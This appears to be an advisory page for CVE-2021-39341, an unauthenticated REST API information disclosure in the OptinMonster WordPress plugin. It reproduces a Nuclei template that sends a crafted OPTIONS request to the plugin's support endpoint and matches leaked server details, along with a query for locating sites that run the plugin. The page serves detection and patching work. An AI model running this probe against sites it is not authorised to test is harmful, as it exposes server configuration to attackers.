CVE-2021-39341: OptinMonster Plugin < 2.6.5 - Unprotected REST-API

2025-08-01 OptinMonster Plugin PoC Public

Description

The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4.

PoC

id: CVE-2021-39341

info:
  name: OptinMonster Plugin < 2.6.5 - Unprotected REST-API
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4.
  impact: |
    Unauthenticated attackers can access sensitive system information including PHP version, server configuration, and plugin details via unprotected REST API endpoints.
  remediation: |
    Upgrade to OptinMonster version 2.6.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39341
    - https://plugins.trac.wordpress.org/browser/optinmonster/trunk/OMAPI/RestApi.php?rev=2606519#L1460
    - https://wordfence.com/vulnerability-advisories/#CVE-2021-39341
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2021-39341
    cwe-id: CWE-285,CWE-863
    epss-score: 0.21929
    epss-percentile: 0.97529
    cpe: cpe:2.3:a:optinmonster:optinmonster:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: optinmonster
    product: optinmonster
    framework: wordpress
    publicwww-query: "/wp-content/plugins/optinmonster"
  tags: cve,cve221,wordpress,wp-plugin,optinmonster,rest-api,disclosure,unauth,exposure,vkev,vuln

http:
  - raw:
      - |
        OPTIONS /wp-json/omapp/v1/support HTTP/1.1
        Host: {{Hostname}}
        X-HTTP-Method-Override: GET
        Referer: https://wp.app.optinmonster.test

    matchers:
      - type: word
        part: body
        words:
          - "PHP Version"
          - "OptinMonster"
          - '"functions.php"'
          - "Server Info"
        condition: and
# digest: 4a0a004730450220720bf59965369d6c3d70a63308e3524198b26d1766c3a4a8f6fc450db4ddbe76022100c07a5285d583f578e2e4b47ae8626003f0366a9ff87ef4c84d4311e5d04919fd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39341.yaml

References

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